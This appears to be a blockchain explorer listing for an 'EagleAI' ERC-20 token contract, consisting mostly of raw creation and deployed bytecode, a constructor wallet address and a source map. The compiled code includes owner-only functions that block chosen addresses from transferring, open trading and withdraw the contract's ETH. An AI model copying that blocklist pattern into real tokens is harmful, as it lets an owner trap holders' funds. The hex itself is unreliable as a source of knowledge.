06117578582611826565b979650505050505050565b60008260000361177457506000610643565b60006117808385611bee565b90508261178d8583611c05565b146107045760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610735565b600061070483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611868565b600061070483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ce0565b600081836118895760405162461bcd60e51b81526004016107359190611896565b506000610d118486611c05565b600060208083528351808285015260005b818110156118c3578581018301518582016040015282016118a7565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610a1e57600080fd5b8035611904816118e4565b919050565b6000806040838503121561191c57600080fd5b8235611927816118e4565b946020939093013593505050565b60008060006060848603121561194a57600080fd5b8335611955816118e4565b92506020840135611965816118e4565b929592945050506040919091013590565b60006020828403121561198857600080fd5b8135610704816118e4565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156119bc57600080fd5b823567ffffffffffffffff808211156119d457600080fd5b818501915085601f8301126119e857600080fd5b8135818111156119fa576119fa611993565b8060051b604051601f19603f83011681018181108582111715611a1f57611a1f611993565b604052918252848201925083810185019188831115611a3d57600080fd5b938501935b82851015611a6257611a53856118f9565b84529385019392850192611a42565b98975050505050505050565b60008060408385031215611a8157600080fd5b8235611a8c816118e4565b91506020830135611a9c816118e4565b809150509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611b0557611b05611add565b5060010190565b600060208284031215611b1e57600080fd5b8151610704816118e4565b600080600060608486031215611b3e57600080fd5b8351925060208401519150604084015190509250925092565b8181038181111561064357610643611add565b8082018082111561064357610643611add565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611bcd5784516001600160a01b031683529383019391830191600101611ba8565b50506001600160a01b03969096166060850152505050608001529392505050565b808202811582820484141761064357610643611add565b600082611c2257634e487b7160e01b600052601260045260246000fd5b50049056fe44617461204665656420496e7465677261746564205769746820414920546f6f6c73a264697066735822122091929469dfe8329a8f8f020f76612f95477152fbd098f31162bd523480987c8c64736f6c63430008130033000000000000000000000000ffe2737ad1a141a3e75fa0dc7072f2eeb79bfa55

Deployed Bytecode

0x6080604052600436106101c65760003560e01c80636c0a24eb116100f75780638661f5d311610095578063a9059cbb11610064578063a9059cbb14610521578063d888f88914610541578063dd62ed3e14610556578063f887ea401461059c57600080fd5b80638661f5d31461049e578063893d20e8146104b357806395d89b41146104d1578063a8aa1b311461050157600080fd5b8063715018a6116100d1578063715018a61461043e57806372b87b211461045357806377c72ac1146104695780637be898371461047e57600080fd5b80636c0a24eb146103d15780636ddd1713146103e757806370a082311461040857600080fd5b80632569469111610164578063313ce5671161013e578063313ce567146103515780633eaaf86b1461036d5780634279f9a41461038357806343753d5f146103bc57600080fd5b806325694691146102df5780632f54bf6e146103005780633005d3ae1461032f57600080fd5b80630faee56f116101a05780630faee56f1461024e57806318160ddd1461027257806323b872dd146102875780632418d9ae146102a757600080fd5b806306fdde03146101d257806308fd3d05146101fd578063095ea7b31461022e57600080fd5b366101cd57005b600080fd5b3480156101de57600080fd5b506101e76105bc565b6040516101f49190611896565b60405180910390f35b34801561020957600080fd5b50600e5461021e90600160b01b900460ff1681565b60405190151581526020016101f4565b34801561023a57600080fd5b5061021e610249366004611909565b6105dc565b34801561025a57600080fd5b5061026460065481565b6040519081526020016101f4565b34801561027e57600080fd5b50600354610264565b34801561029357600080fd5b5061021e6102a2366004611935565b610649565b3480156102b357600080fd5b50600c546102c7906001600160a01b031681565b6040516001600160a01b0390911681526020016101f4565b3480156102eb57600080fd5b50600e5461021e90600160a81b900460ff1681565b34801561030c57600080fd5b5061021e61031b366004611976565b6000546001600160a01b0391821691161490565b34801561033b57600080fd5b5061034f61034a3660046119a9565b61070b565b005b34801561035d57600080fd5b50604051601281526020016101f4565b34801561037957600080fd5b5061026460035481565b34801561038f57600080fd5b5061021e61039e366004611976565b6001600160a01b03166000908152600b602052604090205460ff1690565b3480156103c857600080fd5b5061021e6107aa565b3480156103dd57600080fd5b5061026460045481565b3480156103f357600080fd5b50600e5461021e90600160a01b900460ff1681565b34801561041457600080fd5b50610264610423366004611976565b6001600160a01b031660009081526007602052604090205490565b34801561044a57600080fd5b5061034f6107e1565b34801561045f57600080fd5b5061026460055481565b34801561047557600080fd5b5061034f610850565b34801561048a57600080fd5b5061034f6104993660046119a9565b6108ed565b3480156104aa57600080fd5b5061034f61097f565b3480156104bf57600080fd5b506000546001600160a01b03166102c7565b3480156104dd57600080fd5b506040805180820190915260078152664561676c65414960c81b60208201526101e7565b34801561050d57600080fd5b50600d546102c7906001600160a01b031681565b34801561052d57600080fd5b5061021e61053c366004611909565b610a21565b34801561054d57600080fd5b5061034f610a2e565b34801561056257600080fd5b50610264610571366004611a6e565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b3480156105a857600080fd5b50600e546102c7906001600160a01b031681565b6060604051806060016040528060228152602001611c2860229139905090565b3360008181526008602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906106379086815260200190565b60405180910390a35060015b92915050565b6001600160a01b0383166000908152600860209081526040808320338452909152812054600019146106f6576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b03871660009081526008825283812033825290915291909120546106d1918490610ce0565b6001600160a01b03851660009081526008602090815260408083203384529091529020555b610701848484610d1a565b90505b9392505050565b6000546001600160a01b0316331461073e5760405162461bcd60e51b815260040161073590611aa7565b60405180910390fd5b60005b81518110156107a6576000600b600084848151811061076257610762611ac7565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061079e81611af3565b915050610741565b5050565b600080546001600160a01b031633146107d55760405162461bcd60e51b815260040161073590611aa7565b50600354600455600190565b6000546001600160a01b0316331461080b5760405162461bcd60e51b815260040161073590611aa7565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b0316331461087a5760405162461bcd60e51b815260040161073590611aa7565b600e54600160b01b900460ff16156108d45760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610735565b600e805462ffffff60a01b19166201010160a01b179055565b6000546001600160a01b031633146109175760405162461bcd60e51b815260040161073590611aa7565b60005b81518110156107a6576001600b600084848151811061093b5761093b611ac7565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061097781611af3565b91505061091a565b6000546001600160a01b031633146109a95760405162461bcd60e51b815260040161073590611aa7565b600047116109f25760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379022aa24103a379031b632b0b960511b6044820152606401610735565b60405133904780156108fc02916000818181858888f19350505050158015610a1e573d6000803e3d6000fd5b50565b6000610704338484610d1a565b6000546001600160a01b03163314610a585760405162461bcd60e51b815260040161073590611aa7565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610abc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ae09190611b0c565b6001600160a01b031663c9c6539630600e60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b42573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b669190611b0c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610bb3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bd79190611b0c565b600d80546001600160a01b0319166001600160a01b039283169081179091556000908152600a60209081526040808320805460ff191660011790553080845260088352818420600e805487168652908452828520600019905554818552600790935292205492169163f305d7199147916000805460405160e087901b6001600160e01b03191681526001600160a01b03948516600482015260248101939093526044830182905260648301919091529190911660848201524260a482015260c40160606040518083038185885af1158015610cb6573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610cdb9190611b29565b505050565b60008184841115610d045760405162461bcd60e51b81526004016107359190611896565b506000610d118486611b57565b95945050505050565b60006001600160a01b038416610d805760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610735565b6001600160a01b038316610de25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610735565b60008211610e445760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610735565b6001600160a01b0384166000908152600b6020526040812054819060ff16158015610e8857506001600160a01b0385166000908152600b602052604090205460ff16155b610e9157600080fd5b60165460ff1615610eb057610ea7868686611069565b92505050610704565b6001600160a01b03861660009081526009602052604090205460ff16158015610ef257506001600160a01b03851660009081526009602052604090205460ff16155b15610f4757600e54600160b01b900460ff16610f475760405162461bcd60e51b8152602060048201526014602482015273151c98591a5b99c81b9bdd081bdc195b881e595d60621b6044820152606401610735565b600e54600160a01b900460ff16610f6357610ea7868686611069565b610f6d868661114f565b15611021576001600160a01b0385166000908152600a602052604090205460ff1680610fbe57506004546001600160a01b038616600090815260076020526040902054610fbb908690611b6a565b11155b6110185760405162461bcd60e51b815260206004820152602560248201527f5472616e7366657220616d6f756e74206578636565647320746865206261672060448201526439b4bd329760d91b6064820152608401610735565b611021866111cc565b61102b86866111fa565b8092508193505050611041828286600554611273565b1561104f5761104f846112e1565b61105c86868684866114a7565b5060019695505050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03861660009081526007909152918220546110ba918490610ce0565b6001600160a01b0380861660009081526007602052604080822093909355908516815220546110e990836115a9565b6001600160a01b0380851660008181526007602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061113d9086815260200190565b60405180910390a35060019392505050565b600d546000906001600160a01b0383811691161480159061117e57506002546001600160a01b03838116911614155b80156111a357506001600160a01b03831660009081526009602052604090205460ff16155b80156107045750506001600160a01b031660009081526009602052604090205460ff1615919050565b600d546001600160a01b0390811690821603610a1e57601580549060006111f283611af3565b919050555050565b600080600080611223866001600160a01b031660009081526009602052604090205460ff161590565b600d549091506001600160a01b03908116908616036112455760029150611269565b600d546001600160a01b03908116908716036112645760019150611269565b600091505b9590945092505050565b30600090815260076020526040812054829084906000838211801561129757508383115b60165490915060ff161580156112aa5750885b80156112b65750600188115b80156112bf5750805b80156112d45750600e54600160a01b900460ff165b9998505050505050505050565b6016805460ff1916600117905530600090815260076020526040812054905060006113178361131284600654611608565b611608565b6040805160028082526060820183529293506000929091602083019080368337019050509050308160008151811061135157611351611ac7565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ce9190611b0c565b816001815181106113e1576113e1611ac7565b6001600160a01b039283166020918202929092010152600e5460405163791ac94760e01b815291169063791ac94790611427908590600090869030904290600401611b7d565b600060405180830381600087803b15801561144157600080fd5b505af1158015611455573d6000803e3d6000fd5b5050600c546040514793506001600160a01b03909116915082156108fc029083906000818181858888f19350505050158015611495573d6000803e3d6000fd5b50506016805460ff1916905550505050565b60008060006114b785858861161d565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038d1660009081526007909152919091205492945090925061151091908490610ce0565b6001600160a01b03808a16600090815260076020526040808220939093559089168152205461153f90826115a9565b6001600160a01b0380891660008181526007602052604090819020939093559151908a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611593908a815260200190565b60405180910390a3506001979650505050505050565b6000806115b68385611b6a565b9050838110156107045760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610735565b60008183116116175782610704565b50919050565b60008060008461164e57600e54600160a81b900460ff1661163e5783611650565b61164986868661168f565b611650565b835b600e54909150600090600160a81b900460ff16801561166c5750855b6116765784611681565b61168187878761168f565b919791965090945050505050565b600080606484156116ed5760018611156116c157601454601554116116b6576010546116ba565b6012545b91506116f2565b85156116e457601354601554116116da57600f546116ba565b60115491506116f2565b600091506116f2565b600191505b6000611708826117028786611762565b906117e4565b3060009081526007602052604090205490915061172590826115a9565b30600090815260076020526040902055856117495761174485846117e4565b61174b565b805b90506117578582611826565b979650505050505050565b60008260000361177457506000610643565b60006117808385611bee565b90508261178d8583611c05565b146107045760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610735565b600061070483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611868565b600061070483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ce0565b600081836118895760405162461bcd60e51b81526004016107359190611896565b506000610d118486611c05565b600060208083528351808285015260005b818110156118c3578581018301518582016040015282016118a7565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610a1e57600080fd5b8035611904816118e4565b919050565b6000806040838503121561191c57600080fd5b8235611927816118e4565b946020939093013593505050565b60008060006060848603121561194a57600080fd5b8335611955816118e4565b92506020840135611965816118e4565b929592945050506040919091013590565b60006020828403121561198857600080fd5b8135610704816118e4565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156119bc57600080fd5b823567ffffffffffffffff808211156119d457600080fd5b818501915085601f8301126119e857600080fd5b8135818111156119fa576119fa611993565b8060051b604051601f19603f83011681018181108582111715611a1f57611a1f611993565b604052918252848201925083810185019188831115611a3d57600080fd5b938501935b82851015611a6257611a53856118f9565b84529385019392850192611a42565b98975050505050505050565b60008060408385031215611a8157600080fd5b8235611a8c816118e4565b91506020830135611a9c816118e4565b809150509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611b0557611b05611add565b5060010190565b600060208284031215611b1e57600080fd5b8151610704816118e4565b600080600060608486031215611b3e57600080fd5b8351925060208401519150604084015190509250925092565b8181038181111561064357610643611add565b8082018082111561064357610643611add565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611bcd5784516001600160a01b031683529383019391830191600101611ba8565b50506001600160a01b03969096166060850152505050608001529392505050565b808202811582820484141761064357610643611add565b600082611c2257634e487b7160e01b600052601260045260246000fd5b50049056fe44617461204665656420496e7465677261746564205769746820414920546f6f6c73a264697066735822122091929469dfe8329a8f8f020f76612f95477152fbd098f31162bd523480987c8c64736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000ffe2737ad1a141a3e75fa0dc7072f2eeb79bfa55

-----Decoded View---------------
Arg [0] : EagleAIWallet (address): 0xFfE2737aD1A141A3E75fA0Dc7072f2eeb79bFA55

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000ffe2737ad1a141a3e75fa0dc7072f2eeb79bfa55


Deployed Bytecode Sourcemap

5090:9430:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10911:82;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6071:31;;;;;;;;;;-1:-1:-1;6071:31:0;;;;-1:-1:-1;;;6071:31:0;;;;;;;;;732:14:1;;725:22;707:41;;695:2;680:18;6071:31:0;567:187:1;7543:192:0;;;;;;;;;;-1:-1:-1;7543:192:0;;;;;:::i;:::-;;:::i;5617:52::-;;;;;;;;;;;;;;;;;;;1500:25:1;;;1488:2;1473:18;5617:52:0;1354:177:1;11089:90:0;;;;;;;;;;-1:-1:-1;11163:12:0;;11089:90;;13803:350;;;;;;;;;;-1:-1:-1;13803:350:0;;;;;:::i;:::-;;:::i;5904:29::-;;;;;;;;;;-1:-1:-1;5904:29:0;;;;-1:-1:-1;;;;;5904:29:0;;;;;;-1:-1:-1;;;;;2161:32:1;;;2143:51;;2131:2;2116:18;5904:29:0;1997:203:1;6031:37:0;;;;;;;;;;-1:-1:-1;6031:37:0;;;;-1:-1:-1;;;6031:37:0;;;;;;2422:91;;;;;;;;;;-1:-1:-1;2422:91:0;;;;;:::i;:::-;2477:4;2504:5;-1:-1:-1;;;;;2493:16:0;;;2504:5;;2493:16;;2422:91;12406:156;;;;;;;;;;-1:-1:-1;12406:156:0;;;;;:::i;:::-;;:::i;:::-;;8302:82;;;;;;;;;;-1:-1:-1;8302:82:0;;5419:2;3857:36:1;;3845:2;3830:18;8302:82:0;3715:184:1;5426:59:0;;;;;;;;;;;;;;;;12566:81;;;;;;;;;;-1:-1:-1;12566:81:0;;;;;:::i;:::-;-1:-1:-1;;;;;12632:11:0;12617:4;12632:11;;;:8;:11;;;;;;;;;12566:81;8900:116;;;;;;;;;;;;;:::i;5488:58::-;;;;;;;;;;;;;;;;5997:31;;;;;;;;;;-1:-1:-1;5997:31:0;;;;-1:-1:-1;;;5997:31:0;;;;;;6945:107;;;;;;;;;;-1:-1:-1;6945:107:0;;;;;:::i;:::-;-1:-1:-1;;;;;7030:18:0;7011:7;7030:18;;;:9;:18;;;;;;;6945:107;2517:111;;;;;;;;;;;;;:::i;5549:65::-;;;;;;;;;;;;;;;;7739:172;;;;;;;;;;;;;:::i;12250:152::-;;;;;;;;;;-1:-1:-1;12250:152:0;;;;;:::i;:::-;;:::i;7365:174::-;;;;;;;;;;;;;:::i;6861:80::-;;;;;;;;;;-1:-1:-1;6913:7:0;6932:5;-1:-1:-1;;;;;6932:5:0;6861:80;;11665:86;;;;;;;;;;-1:-1:-1;11740:7:0;;;;;;;;;;;;-1:-1:-1;;;11740:7:0;;;;11665:86;;5936:19;;;;;;;;;;-1:-1:-1;5936:19:0;;;;-1:-1:-1;;;;;5936:19:0;;;14155:158;;;;;;;;;;-1:-1:-1;14155:158:0;;;;;:::i;:::-;;:::i;10474:433::-;;;;;;;;;;;;;:::i;10330:140::-;;;;;;;;;;-1:-1:-1;10330:140:0;;;;;:::i;:::-;-1:-1:-1;;;;;10438:19:0;;;10418:7;10438:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;10330:140;5960:32;;;;;;;;;;-1:-1:-1;5960:32:0;;;;-1:-1:-1;;;;;5960:32:0;;;10911:82;10959:13;10984:5;;;;;;;;;;;;;;;;;10977:12;;10911:82;:::o;7543:192::-;7643:10;7621:4;7631:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;7631:32:0;;;;;;;;;;:41;;;7680:37;7621:4;;7631:32;;7680:37;;;;7666:6;1500:25:1;;1488:2;1473:18;;1354:177;7680:37:0;;;;;;;;-1:-1:-1;7727:4:0;7543:192;;;;;:::o;13803:350::-;-1:-1:-1;;;;;13922:19:0;;13909:4;13922:19;;;:11;:19;;;;;;;;13942:10;13922:31;;;;;;;;-1:-1:-1;;13922:52:0;13918:170;;14013:71;;;;;;;;;;;-1:-1:-1;;;14013:71:0;;;;;;;;-1:-1:-1;;;;;14013:19:0;;-1:-1:-1;14013:19:0;;;:11;:19;;;;;14033:10;14013:31;;;;;;;;;;:71;;14051:6;;14013:37;:71::i;:::-;-1:-1:-1;;;;;13979:19:0;;;;;;:11;:19;;;;;;;;13999:10;13979:31;;;;;;;:105;13918:170;14099:50;14123:6;14131:9;14142:6;14099:23;:50::i;:::-;14092:57;;13803:350;;;;;;:::o;12406:156::-;2477:4;2504:5;-1:-1:-1;;;;;2504:5:0;2388:10;2493:16;2372:38;;;;-1:-1:-1;;;2372:38:0;;;;;;;:::i;:::-;;;;;;;;;12481:6:::1;12476:83;12497:10;:17;12493:1;:21;12476:83;;;12550:5;12524:8;:23;12533:10;12544:1;12533:13;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;12524:23:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;12524:23:0;:31;;-1:-1:-1;;12524:31:0::1;::::0;::::1;;::::0;;;::::1;::::0;;12516:3;::::1;::::0;::::1;:::i;:::-;;;;12476:83;;;;12406:156:::0;:::o;8900:116::-;8958:4;2504:5;;-1:-1:-1;;;;;2504:5:0;2388:10;2493:16;2372:38;;;;-1:-1:-1;;;2372:38:0;;;;;;;:::i;:::-;-1:-1:-1;8986:12:0::1;::::0;8967:16:::1;:31:::0;9008:4:::1;8900:116:::0;:::o;2517:111::-;2477:4;2504:5;-1:-1:-1;;;;;2504:5:0;2388:10;2493:16;2372:38;;;;-1:-1:-1;;;2372:38:0;;;;;;;:::i;:::-;2582:1:::1;2566:18:::0;;-1:-1:-1;;;;;;2566:18:0::1;::::0;;2592:32:::1;::::0;2143:51:1;;;2592:32:0::1;::::0;2131:2:1;2116:18;2592:32:0::1;;;;;;;2517:111::o:0;7739:172::-;2477:4;2504:5;-1:-1:-1;;;;;2504:5:0;2388:10;2493:16;2372:38;;;;-1:-1:-1;;;2372:38:0;;;;;;;:::i;:::-;7798:11:::1;::::0;-1:-1:-1;;;7798:11:0;::::1;;;7797:12;7789:47;;;::::0;-1:-1:-1;;;7789:47:0;;5471:2:1;7789:47:0::1;::::0;::::1;5453:21:1::0;5510:2;5490:18;;;5483:30;5549:25;5529:18;;;5522:53;5592:18;;7789:47:0::1;5269:347:1::0;7789:47:0::1;7841:11;:18:::0;;-1:-1:-1;;;;7889:18:0;-1:-1:-1;;;7889:18:0;;;7739:172::o;12250:152::-;2477:4;2504:5;-1:-1:-1;;;;;2504:5:0;2388:10;2493:16;2372:38;;;;-1:-1:-1;;;2372:38:0;;;;;;;:::i;:::-;12324:6:::1;12319:80;12340:9;:16;12336:1;:20;12319:80;;;12391:4;12366:8;:22;12375:9;12385:1;12375:12;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;12366:22:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;12366:22:0;:29;;-1:-1:-1;;12366:29:0::1;::::0;::::1;;::::0;;;::::1;::::0;;12358:3;::::1;::::0;::::1;:::i;:::-;;;;12319:80;;7365:174:::0;2477:4;2504:5;-1:-1:-1;;;;;2504:5:0;2388:10;2493:16;2372:38;;;;-1:-1:-1;;;2372:38:0;;;;;;;:::i;:::-;7453:1:::1;7429:21;:25;7421:60;;;::::0;-1:-1:-1;;;7421:60:0;;5823:2:1;7421:60:0::1;::::0;::::1;5805:21:1::0;5862:2;5842:18;;;5835:30;-1:-1:-1;;;5881:18:1;;;5874:52;5943:18;;7421:60:0::1;5621:346:1::0;7421:60:0::1;7484:51;::::0;7492:10:::1;::::0;7513:21:::1;7484:51:::0;::::1;;;::::0;::::1;::::0;;;7513:21;7492:10;7484:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;7365:174::o:0;14155:158::-;14238:4;14255:54;14279:10;14291:9;14302:6;14255:23;:54::i;10474:433::-;2477:4;2504:5;-1:-1:-1;;;;;2504:5:0;2388:10;2493:16;2372:38;;;;-1:-1:-1;;;2372:38:0;;;;;;;:::i;:::-;10526:6:::1;:71:::0;;-1:-1:-1;;;;;;10526:71:0::1;10554:42;10526:71:::0;;::::1;::::0;;;10625:16:::1;::::0;;-1:-1:-1;;;10625:16:0;;;;:14:::1;::::0;:16:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;;10554:42;10625:16:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10607:46:0::1;;10662:4;10669:6;;;;;;;;;-1:-1:-1::0;;;;;10669:6:0::1;-1:-1:-1::0;;;;;10669:11:0::1;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10607:76;::::0;-1:-1:-1;;;;;;10607:76:0::1;::::0;;;;;;-1:-1:-1;;;;;6458:15:1;;;10607:76:0::1;::::0;::::1;6440:34:1::0;6510:15;;6490:18;;;6483:43;6375:18;;10607:76:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10600:4;:83:::0;;-1:-1:-1;;;;;;10600:83:0::1;-1:-1:-1::0;;;;;10600:83:0;;::::1;::::0;;::::1;::::0;;;-1:-1:-1;10686:21:0;;;:15:::1;:21;::::0;;;;;;;:28;;-1:-1:-1;;10686:28:0::1;-1:-1:-1::0;10686:28:0::1;::::0;;10739:4:::1;10719:26:::0;;;:11:::1;:26:::0;;;;;10754:6:::1;::::0;;;::::1;10719:43:::0;;;;;;;;-1:-1:-1;;10719:63:0;;10785:6;7030:18;;;:9;:18;;;;;;10785:6;::::1;::::0;:22:::1;::::0;10815:21:::1;::::0;10877:1:::1;10881:5:::0;;10785:118:::1;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10785:118:0;;;-1:-1:-1;;;;;6896:15:1;;;10785:118:0::1;::::0;::::1;6878:34:1::0;6928:18;;;6921:34;;;;6971:18;;;6964:34;;;7014:18;;;7007:34;;;;10881:5:0;;;::::1;7057:19:1::0;;;7050:44;10887:15:0::1;7110:19:1::0;;;7103:35;6812:19;;10785:118:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;10474:433::o:0;673:168::-;765:7;793:12;785:6;;;;777:29;;;;-1:-1:-1;;;777:29:0;;;;;;;;:::i;:::-;-1:-1:-1;809:9:0;821:5;825:1;821;:5;:::i;:::-;809:17;673:168;-1:-1:-1;;;;;673:168:0:o;12651:1147::-;12759:4;-1:-1:-1;;;;;12778:20:0;;12770:70;;;;-1:-1:-1;;;12770:70:0;;7795:2:1;12770:70:0;;;7777:21:1;7834:2;7814:18;;;7807:30;7873:34;7853:18;;;7846:62;-1:-1:-1;;;7924:18:1;;;7917:35;7969:19;;12770:70:0;7593:401:1;12770:70:0;-1:-1:-1;;;;;12851:23:0;;12843:71;;;;-1:-1:-1;;;12843:71:0;;8201:2:1;12843:71:0;;;8183:21:1;8240:2;8220:18;;;8213:30;8279:34;8259:18;;;8252:62;-1:-1:-1;;;8330:18:1;;;8323:33;8373:19;;12843:71:0;7999:399:1;12843:71:0;12934:1;12925:6;:10;12917:64;;;;-1:-1:-1;;;12917:64:0;;8605:2:1;12917:64:0;;;8587:21:1;8644:2;8624:18;;;8617:30;8683:34;8663:18;;;8656:62;-1:-1:-1;;;8734:18:1;;;8727:39;8783:19;;12917:64:0;8403:405:1;12917:64:0;-1:-1:-1;;;;;13027:16:0;;12986:12;13027:16;;;:8;:16;;;;;;12986:12;;13027:16;;13026:17;:41;;;;-1:-1:-1;;;;;;13048:19:0;;;;;;:8;:19;;;;;;;;13047:20;13026:41;13018:50;;;;;;13077:6;;;;13073:67;;;13095:41;13110:6;13118:9;13129:6;13095:14;:41::i;:::-;13088:48;;;;;;13073:67;-1:-1:-1;;;;;13148:19:0;;;;;;:11;:19;;;;;;;;13147:20;:47;;;;-1:-1:-1;;;;;;13172:22:0;;;;;;:11;:22;;;;;;;;13171:23;13147:47;13144:101;;;13206:11;;-1:-1:-1;;;13206:11:0;;;;13198:43;;;;-1:-1:-1;;;13198:43:0;;9015:2:1;13198:43:0;;;8997:21:1;9054:2;9034:18;;;9027:30;-1:-1:-1;;;9073:18:1;;;9066:50;9133:18;;13198:43:0;8813:344:1;13198:43:0;13253:11;;-1:-1:-1;;;13253:11:0;;;;13249:72;;13276:41;13291:6;13299:9;13310:6;13276:14;:41::i;13249:72::-;13327:35;13344:6;13352:9;13327:16;:35::i;:::-;13323:212;;;-1:-1:-1;;;;;13377:26:0;;;;;;:15;:26;;;;;;;;;:80;;-1:-1:-1;13441:16:0;;-1:-1:-1;;;;;13408:20:0;;;;;;:9;:20;;;;;;:29;;13431:6;;13408:29;:::i;:::-;:49;;13377:80;13367:135;;;;-1:-1:-1;;;13367:135:0;;9494:2:1;13367:135:0;;;9476:21:1;9533:2;9513:18;;;9506:30;9572:34;9552:18;;;9545:62;-1:-1:-1;;;9623:18:1;;;9616:35;9668:19;;13367:135:0;9292:401:1;13367:135:0;13507:24;13524:6;13507:16;:24::i;:::-;13560:39;13581:6;13589:9;13560:20;:39::i;:::-;13539:60;;;;;;;;13608:69;13628:7;13637;13646:6;13654:22;;13608:19;:69::i;:::-;13604:109;;;13682:27;13702:6;13682:19;:27::i;:::-;13717:63;13736:6;13744:9;13755:6;13763:7;13772;13717:18;:63::i;:::-;-1:-1:-1;13790:4:0;;12651:1147;-1:-1:-1;;;;;;12651:1147:0:o;7056:305::-;7184:58;;;;;;;;;;;-1:-1:-1;;;7184:58:0;;;;;;;;-1:-1:-1;;;;;7184:17:0;;7155:4;7184:17;;;:9;:17;;;;;;;:58;;7208:6;;7184:21;:58::i;:::-;-1:-1:-1;;;;;7164:17:0;;;;;;;:9;:17;;;;;;:78;;;;7268:20;;;;;;;:32;;7293:6;7268:24;:32::i;:::-;-1:-1:-1;;;;;7245:20:0;;;;;;;:9;:20;;;;;;;:55;;;;7308:35;;;;